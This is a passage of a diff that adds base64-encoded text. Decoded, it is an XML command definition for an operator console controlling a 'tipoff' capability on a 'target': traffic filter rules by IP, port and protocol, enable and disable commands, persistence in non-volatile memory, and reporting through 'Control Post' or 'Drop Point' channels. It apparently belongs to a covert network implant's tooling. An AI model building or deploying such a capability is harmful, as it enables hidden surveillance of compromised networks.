+aXZlcz4NCiAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRTAwMDAwMzwvcHJpbWl0aXZlPg0KICAg
+ICAgICAgIDwvcmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8b3B0aW9uYWxfcHJpbWl0
+aXZlcy8+DQogICAgICAgIDwvcHJpbWl0aXZlcz4NCiAgICAgICAgPGF0dHJpYnV0ZXM+DQogICAg
+ICAgICAgPHJlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1
+dGU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD50aXBvZmZfZmlsdGVyX2F0dHJpYl8xPC9uY3Vy
+c2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkZpbHRlciBJRDwvbmN1cnNlbGFiZWw+
+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+c3RyaW5n
+PC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjMyPC9zaXplPg0KICAgICAgICAgICAgICAg
+IDxwcmltaXRpdmU+MHgwRTAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdu
+dW1iZXI+MTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAg
+ICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgPC9yZXF1aXJlZF9hdHRyaWJ1dGVz
+Pg0KICAgICAgICAgIDxvcHRpb25hbF9hdHRyaWJ1dGVzLz4NCiAgICAgICAgPC9hdHRyaWJ1dGVz
+Pg0KICAgICAgICA8bmN1cnNlc2xheW91dD4NCiAgICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAg
+ICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDx0aXRsZT5UaXBvZmYgU2hvdzwvdGl0bGU+DQog
+ICAgICAgICAgICAgIDxlbGVtZW50PnRpcG9mZl9maWx0ZXJfYXR0cmliXzE8L2VsZW1lbnQ+DQog
+ICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgIDwvbmN1
+cnNlc2xheW91dD4NCiAgICAgIDwvY21kPg0KICAgIDwvY21kZ3JwPg0KICAgIDxjbWQgdGl0bGU9
+InN0YXR1cyI+DQogICAgICA8aGVscHRleHQ+U2hvd3Mgc3RhdGlzdGljcyBhYm91dCB0aGUgdGlw
+b2ZmIGNhcGFiaWxpdHkuPC9oZWxwdGV4dD4NCiAgICAgIDxwcmltaXRpdmVzPg0KICAgICAgICA8
+cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8cHJpbWl0aXZlPjB4MEUwMDAwMDA8L3By
+aW1pdGl2ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICA8b3B0aW9u
+YWxfcHJpbWl0aXZlcy8+DQogICAgICA8L3ByaW1pdGl2ZXM+DQogICAgICA8YXR0cmlidXRlcz4N
+CiAgICAgICAgPHJlcXVpcmVkX2F0dHJpYnV0ZXMvPg0KICAgICAgICA8b3B0aW9uYWxfYXR0cmli
+dXRlcy8+DQogICAgICA8L2F0dHJpYnV0ZXM+DQogICAgICA8bmN1cnNlc2xheW91dD4NCiAgICAg
+ICAgPHNlY3Rpb24+DQogICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgIDx0aXRsZT5UaXBv
+ZmYgU3RhdHVzPC90aXRsZT4NCiAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgPC9zZWN0aW9u
+Pg0KICAgICAgPC9uY3Vyc2VzbGF5b3V0Pg0KICAgIDwvY21kPg0KICAgIDxjbWQgdGl0bGU9InN0
+b3JlIj4NCiAgICAgIDxoZWxwdGV4dD5Db3BpZXMgdGhlIHRpcG9mZiBjYXBhYmlsaXR5IHNldHRp
+bmdzIGZyb20gdm9sYXRpbGUgbWVtb3J5IHRvIHBlcnNpc3RlbnQgbWVtb3J5IG9uIHRoZSB0YXJn
+ZXQuPC9oZWxwdGV4dD4NCiAgICAgIDxwcmltaXRpdmVzPg0KICAgICAgICA8cmVxdWlyZWRfcHJp
+bWl0aXZlcz4NCiAgICAgICAgICA8cHJpbWl0aXZlPjB4MEUwMDAwMDI8L3ByaW1pdGl2ZT4NCiAg
+ICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICA8b3B0aW9uYWxfcHJpbWl0aXZl
+cy8+DQogICAgICA8L3ByaW1pdGl2ZXM+DQogICAgICA8YXR0cmlidXRlcz4NCiAgICAgICAgPHJl
+cXVpcmVkX2F0dHJpYnV0ZXMvPg0KICAgICAgICA8b3B0aW9uYWxfYXR0cmlidXRlcy8+DQogICAg
+ICA8L2F0dHJpYnV0ZXM+DQogICAgICA8bmN1cnNlc2xheW91dD4NCiAgICAgICAgPHNlY3Rpb24+
+DQogICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgIDx0aXRsZT5UaXBvZmYgU3RvcmU8L3Rp
+dGxlPg0KICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICA8L3NlY3Rpb24+DQogICAgICA8L25j
+dXJzZXNsYXlvdXQ+DQogICAgPC9jbWQ+DQogICAgPGNtZCB0aXRsZT0iZW5hYmxlIj4NCiAgICAg
+IDxoZWxwdGV4dD5TZXRzIHRoZSBvcGVyYXRpb25hbCBzdGF0ZSBvZiBhIHRpcG9mZiB0byBlbmFi
+bGVkLjwvaGVscHRleHQ+DQogICAgICA8cHJpbWl0aXZlcz4NCiAgICAgICAgPHJlcXVpcmVkX3By
+aW1pdGl2ZXM+DQogICAgICAgICAgPHByaW1pdGl2ZT4weDBFMDAwMDA1PC9wcmltaXRpdmU+DQog
+ICAgICAgIDwvcmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgPG9wdGlvbmFsX3ByaW1pdGl2
+ZXMvPg0KICAgICAgPC9wcmltaXRpdmVzPg0KICAgICAgPGF0dHJpYnV0ZXM+DQogICAgICAgIDxy
+ZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAg
+ICAgICAgIDxuY3Vyc2VpZD50aXBvZmZfZW5hYmxlX2F0dHJpYl8xPC9uY3Vyc2VpZD4NCiAgICAg
+ICAgICAgIDxuY3Vyc2VsYWJlbD5SdWxlIElEPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgIDxh
+dHRyaWJ1dGU+DQogICAgICAgICAgICAgIDx0eXBlPnN0cmluZzwvdHlwZT4NCiAgICAgICAgICAg
+ICAgPHNpemU+MzI8L3NpemU+DQogICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRTAwMDAwNTwv
+cHJpbWl0aXZlPg0KICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE8L2FyZ251bWJlcj4NCiAgICAg
+ICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAg
+ICAgIDwvcmVxdWlyZWRfYXR0cmlidXRlcz4NCiAgICAgICAgPG9wdGlvbmFsX2F0dHJpYnV0ZXMv
+Pg0KICAgICAgICA8aW52aXNpYmxlX2F0dHJpYnV0ZXM+DQogICAgICAgICAgPGNvbW1hbmRfYXR0
+cmlidXRlPg0KICAgICAgICAgICAgPG5jdXJzZWlkPnRpcG9mZl9lbmFibGVfYXR0cmliXzI8L25j
+dXJzZWlkPg0KICAgICAgICAgICAgPG5jdXJzZWxhYmVsPmZsYWc8L25jdXJzZWxhYmVsPg0KICAg
+ICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0K
+ICAgICAgICAgICAgICA8c2l6ZT4xPC9zaXplPg0KICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVl
+PjE8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBFMDAwMDA1PC9w
+cmltaXRpdmU+DQogICAgICAgICAgICAgIDxhcmdudW1iZXI+MjwvYXJnbnVtYmVyPg0KICAgICAg
+ICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAg
+ICAgPC9pbnZpc2libGVfYXR0cmlidXRlcz4NCiAgICAgIDwvYXR0cmlidXRlcz4NCiAgICAgIDxu
+Y3Vyc2VzbGF5b3V0Pg0KICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICA8Y29sdW1uPg0KICAg
+ICAgICAgICAgPHRpdGxlPlRpcG9mZiBFbmFibGU8L3RpdGxlPg0KICAgICAgICAgICAgPGVsZW1l
+bnQ+dGlwb2ZmX2VuYWJsZV9hdHRyaWJfMTwvZWxlbWVudD4NCiAgICAgICAgICA8L2NvbHVtbj4N
+CiAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgPC9uY3Vyc2VzbGF5b3V0Pg0KICAgIDwvY21kPg0K
+ICAgIDxjbWQgdGl0bGU9ImRpc2FibGUiPg0KICAgICAgPGhlbHB0ZXh0PlNldHMgdGhlIG9wZXJh
+dGlvbmFsIHN0YXRlIG9mIGEgdGlwb2ZmIHRvIGRpc2FibGVkLjwvaGVscHRleHQ+DQogICAgICA8
+cHJpbWl0aXZlcz4NCiAgICAgICAgPHJlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgICAgPHBy
+aW1pdGl2ZT4weDBFMDAwMDA1PC9wcmltaXRpdmU+DQogICAgICAgIDwvcmVxdWlyZWRfcHJpbWl0
+aXZlcz4NCiAgICAgICAgPG9wdGlvbmFsX3ByaW1pdGl2ZXMvPg0KICAgICAgPC9wcmltaXRpdmVz
+Pg0KICAgICAgPGF0dHJpYnV0ZXM+DQogICAgICAgIDxyZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAg
+ICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxuY3Vyc2VpZD50aXBvZmZf
+ZGlzYWJsZV9hdHRyaWJfMTwvbmN1cnNlaWQ+DQogICAgICAgICAgICA8bmN1cnNlbGFiZWw+UnVs
+ZSBJRDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAg
+ICA8dHlwZT5zdHJpbmc8L3R5cGU+DQogICAgICAgICAgICAgIDxzaXplPjMyPC9zaXplPg0KICAg
+ICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEUwMDAwMDU8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAg
+ICAgPGFyZ251bWJlcj4xPC9hcmdudW1iZXI+DQogICAgICAgICAgICAgIDxrZXl3b3JkIHRpdGxl
+PSItYSI+DQogICAgICAgICAgICAgICAgPHZhbHVlPjA8L3ZhbHVlPg0KICAgICAgICAgICAgICA8
+L2tleXdvcmQ+DQogICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICA8L2NvbW1hbmRf
+YXR0cmlidXRlPg0KICAgICAgICA8L3JlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAgIDxvcHRp
+b25hbF9hdHRyaWJ1dGVzLz4NCiAgICAgICAgPGludmlzaWJsZV9hdHRyaWJ1dGVzPg0KICAgICAg
+ICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxuY3Vyc2VpZD50aXBvZmZfZGlz
+YWJsZV9hdHRyaWJfMjwvbmN1cnNlaWQ+DQogICAgICAgICAgICA8bmN1cnNlbGFiZWw+ZmxhZzwv
+bmN1cnNlbGFiZWw+DQogICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICA8dHlw
+ZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgIDxzaXplPjE8L3NpemU+DQogICAgICAgICAg
+ICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICA8cHJpbWl0
+aXZlPjB4MEUwMDAwMDU8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgPGFyZ251bWJlcj4yPC9h
+cmdudW1iZXI+DQogICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICA8L2NvbW1hbmRf
+YXR0cmlidXRlPg0KICAgICAgICA8L2ludmlzaWJsZV9hdHRyaWJ1dGVzPg0KICAgICAgPC9hdHRy
+aWJ1dGVzPg0KICAgICAgPG5jdXJzZXNsYXlvdXQ+DQogICAgICAgIDxzZWN0aW9uPg0KICAgICAg
+ICAgIDxjb2x1bW4+DQogICAgICAgICAgICA8dGl0bGU+VGlwb2ZmIERpc2FibGU8L3RpdGxlPg0K
+ICAgICAgICAgICAgPGVsZW1lbnQ+dGlwb2ZmX2Rpc2FibGVfYXR0cmliXzE8L2VsZW1lbnQ+DQog
+ICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgIDwvc2VjdGlvbj4NCiAgICAgIDwvbmN1cnNlc2xh
+eW91dD4NCiAgICA8L2NtZD4NCiAgICA8Y21kIHRpdGxlPSJtZWNoYW5pc20iPg0KICAgICAgPGhl
+bHB0ZXh0PlNldHMgdGhlIGNvbW11bmljYXRpb24gbWVjaGFuaXNtIHRvIGJlIHVzZWQgYnkgdGhl
+IHRpcG9mZiBldmVudC4gIENQIGZvciBDb250cm9sIFBvc3QgY29tbXVuaWNhdGlvbiBhbmQgRFAg
+Zm9yIERyb3AgUG9pbnQgY29tbXVuaWNhdGlvbi48L2hlbHB0ZXh0Pg0KICAgICAgPHByaW1pdGl2
+ZXM+DQogICAgICAgIDxyZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAgIDxwcmltaXRpdmU+
+MHgwRTAwMDAwQTwvcHJpbWl0aXZlPg0KICAgICAgICA8L3JlcXVpcmVkX3ByaW1pdGl2ZXM+DQog
+ICAgICAgIDxvcHRpb25hbF9wcmltaXRpdmVzLz4NCiAgICAgIDwvcHJpbWl0aXZlcz4NCiAgICAg
+IDxhdHRyaWJ1dGVzPg0KICAgICAgICA8cmVxdWlyZWRfYXR0cmlidXRlcz4NCiAgICAgICAgICA8
+Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8bmN1cnNlaWQ+dGlwb2ZmX21lY2hhbmlz
+bV9hdHRyaWJfMTwvbmN1cnNlaWQ+DQogICAgICAgICAgICA8bmN1cnNlbGFiZWw+RXZlbnQgSUQ8
+L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPHR5
+cGU+c3RyaW5nPC90eXBlPg0KICAgICAgICAgICAgICA8c2l6ZT4zMjwvc2l6ZT4NCiAgICAgICAg
+ICAgICAgPHByaW1pdGl2ZT4weDBFMDAwMDBBPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgIDxh
+cmdudW1iZXI+MTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAg
+ICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQog
+ICAgICAgICAgICA8bmN1cnNlaWQ+dGlwb2ZmX21lY2hhbmlzbV9hdHRyaWJfMjwvbmN1cnNlaWQ+
+DQogICAgICAgICAgICA8bmN1cnNlbGFiZWw+TWVjaGFuaXNtIElEPC9uY3Vyc2VsYWJlbD4NCiAg
+ICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDx0eXBlPnN0cmluZzwvdHlwZT4N
+CiAgICAgICAgICAgICAgPHNpemU+MzI8L3NpemU+DQogICAgICAgICAgICAgIDxwcmltaXRpdmU+
+MHgwRTAwMDAwQTwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICA8YXJnbnVtYmVyPjI8L2FyZ251
+bWJlcj4NCiAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgIDwvY29tbWFuZF9hdHRy
+aWJ1dGU+DQogICAgICAgIDwvcmVxdWlyZWRfYXR0cmlidXRlcz4NCiAgICAgICAgPG9wdGlvbmFs
+X2F0dHJpYnV0ZXMvPg0KICAgICAgPC9hdHRyaWJ1dGVzPg0KICAgICAgPG5jdXJzZXNsYXlvdXQ+
+DQogICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICA8dGl0
+bGU+VGlwb2ZmIE1lY2hhbmlzbTwvdGl0bGU+DQogICAgICAgICAgICA8ZWxlbWVudD50aXBvZmZf
+bWVjaGFuaXNtX2F0dHJpYl8xPC9lbGVtZW50Pg0KICAgICAgICAgICAgPGVsZW1lbnQ+dGlwb2Zm
+X21lY2hhbmlzbV9hdHRyaWJfMjwvZWxlbWVudD4NCiAgICAgICAgICA8L2NvbHVtbj4NCiAgICAg
+ICAgPC9zZWN0aW9uPg0KICAgICAgPC9uY3Vyc2VzbGF5b3V0Pg0KICAgIDwvY21kPg0KICAgIDxj
+bWRncnAgdGl0bGU9ImNyZWF0ZSI+DQogICAgICA8Y21kIHRpdGxlPSJ0cmFmZmljWCI+DQogICAg
+ICAgIDxoZWxwdGV4dD5DcmVhdGVzIGEgdGlwb2ZmIGZpbHRlciBydWxlIGJhc2VkIG9uIHRyYWZm
+aWMgcGFyYW1ldGVyczwvaGVscHRleHQ+DQogICAgICAgIDxwcmltaXRpdmVzPg0KICAgICAgICAg
+IDxyZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBFMDAwMDA0
+PC9wcmltaXRpdmU+DQogICAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAg
+IDxvcHRpb25hbF9wcmltaXRpdmVzPg0KICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBFMDAwMDA4
+PC9wcmltaXRpdmU+DQogICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEUwMDAwMDU8L3ByaW1pdGl2
+ZT4NCiAgICAgICAgICA8L29wdGlvbmFsX3ByaW1pdGl2ZXM+DQogICAgICAgIDwvcHJpbWl0aXZl
+cz4NCiAgICAgICAgPGF0dHJpYnV0ZXM+DQogICAgICAgICAgPHJlcXVpcmVkX2F0dHJpYnV0ZXM+
+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxhdHRyaWJ1
+dGU+DQogICAgICAgICAgICAgICAgPG5jdXJzZWlkPnRpcG9mZl9jcmVhdGVfYXR0cmliXzE8L25j
+dXJzZWlkPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5Tb3VyY2UgSVA8L25jdXJzZWxh
+YmVsPg0KICAgICAgICAgICAgICAgIDx0eXBlPmlwdjQ8L3R5cGU+DQogICAgICAgICAgICAgICAg
+PHNpemU+MTY8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBFMDAwMDA0PC9w
+cmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xPC9hcmdudW1iZXI+DQogICAg
+ICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4N
+CiAgICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0
+ZT4NCiAgICAgICAgICAgICAgICA8bmN1cnNlaWQ+dGlwb2ZmX2NyZWF0ZV9hdHRyaWJfMjwvbmN1
+cnNlaWQ+DQogICAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlNvdXJjZSBNYXNrPC9uY3Vyc2Vs
+YWJlbD4NCiAgICAgICAgICAgICAgICA8dHlwZT5pcHY0PC90eXBlPg0KICAgICAgICAgICAgICAg
+IDxzaXplPjE2PC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRTAwMDAwNDwv
+cHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MjwvYXJnbnVtYmVyPg0KICAg
+ICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+
+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxuY3Vyc2Vp
+ZD50aXBvZmZfY3JlYXRlX2F0dHJpYl8zPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJz
+ZWxhYmVsPlN0YXJ0IFNyYyBQb3J0PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJp
+YnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAg
+ICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBFMDAwMDA0
+PC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj42PC9hcmdudW1iZXI+DQog
+ICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0
+ZT4NCiAgICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPG5jdXJz
+ZWlkPnRpcG9mZl9jcmVhdGVfYXR0cmliXzQ8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1
+cnNlbGFiZWw+RW5kIFNyYyBQb3J0PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJp
+YnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAg
+ICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBFMDAwMDA0
+PC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj43PC9hcmdudW1iZXI+DQog
+ICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0
+ZT4NCiAgICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPGF0dHJp
+YnV0ZT4NCiAgICAgICAgICAgICAgICA8bmN1cnNlaWQ+dGlwb2ZmX2NyZWF0ZV9hdHRyaWJfNTwv
+bmN1cnNlaWQ+DQogICAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkRlc3RpbmF0aW9uIElQPC9u
+Y3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgICA8dHlwZT5pcHY0PC90eXBlPg0KICAgICAgICAg
+ICAgICAgIDxzaXplPjE2PC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRTAw
+MDAwNDwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MzwvYXJnbnVtYmVy
+Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRy
+aWJ1dGU+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxh
+dHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPG5jdXJzZWlkPnRpcG9mZl9jcmVhdGVfYXR0cmli
+XzY8L25jdXJzZWlkPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5EZXN0aW5hdGlvbiBN
+YXNrPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgICA8dHlwZT5pcHY0PC90eXBlPg0KICAg
+ICAgICAgICAgICAgIDxzaXplPjE2PC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+
+MHgwRTAwMDAwNDwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+NDwvYXJn
+bnVtYmVyPg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFu
+ZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAg
+ICAgIDxuY3Vyc2VpZD50aXBvZmZfY3JlYXRlX2F0dHJpYl83PC9uY3Vyc2VpZD4NCiAgICAgICAg
+ICAgICAgPG5jdXJzZWxhYmVsPlN0YXJ0IERzdCBQb3J0PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAg
+ICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQog
+ICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2
+ZT4weDBFMDAwMDA0PC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj44PC9h
+cmdudW1iZXI+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21t
+YW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAg
+ICAgICAgPG5jdXJzZWlkPnRpcG9mZl9jcmVhdGVfYXR0cmliXzg8L25jdXJzZWlkPg0KICAgICAg
+ICAgICAgICA8bmN1cnNlbGFiZWw+RW5kIERzdCBQb3J0PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAg
+ICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQog
+ICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2
+ZT4weDBFMDAwMDA0PC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj45PC9h
+cmdudW1iZXI+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21t
+YW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAg
+ICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8bmN1cnNlaWQ+dGlwb2ZmX2NyZWF0
+ZV9hdHRyaWJfOTwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlByb3Rv
+Y29sPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgICA8dHlwZT5zdHJpbmc8L3R5cGU+DQog
+ICAgICAgICAgICAgICAgPHNpemU+MTY8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2
+ZT4weDBFMDAwMDA0PC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj41PC9h
+cmdudW1iZXI+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21t
+YW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICA8L3JlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAg
+ICAgPG9wdGlvbmFsX2F0dHJpYnV0ZXMvPg0KICAgICAgICA8L2F0dHJpYnV0ZXM+DQogICAgICAg
+IDxwYXJhbWV0ZXJzPg0KICAgICAgICAgIDxyZXF1aXJlZF9wYXJhbWV0ZXJzLz4NCiAgICAgICAg
+ICA8b3B0aW9uYWxfcGFyYW1ldGVycz4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0ibXQi
+Pg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAg
+ICAgICAgICAgICAgPG5jdXJzZWlkPnRpcG9mZl9hZGRfcGFyYW1fTVQ8L25jdXJzZWlkPg0KICAg
+ICAgICAgICAgICA8bmN1cnNlbGFiZWw+TW92ZSB0byBwZXJzaXN0ZW50PC9uY3Vyc2VsYWJlbD4N
+CiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT5wcmVzZW5j
+ZTwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xPC9zaXplPg0KICAgICAgICAgICAgICAg
+IDxkZWZhdWx0dmFsdWU+dHJ1ZTwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICAgIDxwcmlt
+aXRpdmU+MHgwRTAwMDAwODwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5N
+b3ZlcyB0aGUgZmlsdGVyIGludG8gcGVyc2lzdGVudCBub24tdm9sYXRpbGUgc3RvcmFnZSBvbiB0
+aGUgdGFyZ2V0OyBpZiBvbWl0dGVkLCB0aGUgZmlsdGVyIHdpbGwgbm8gbG9uZ2VyIGV4aXN0IG9u
+IHRoZSB0YXJnZXQgYWZ0ZXIgYSByZXN0YXJ0LjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwv
+YXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1l
+dGVyIGZsYWc9ImVuIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2Vz
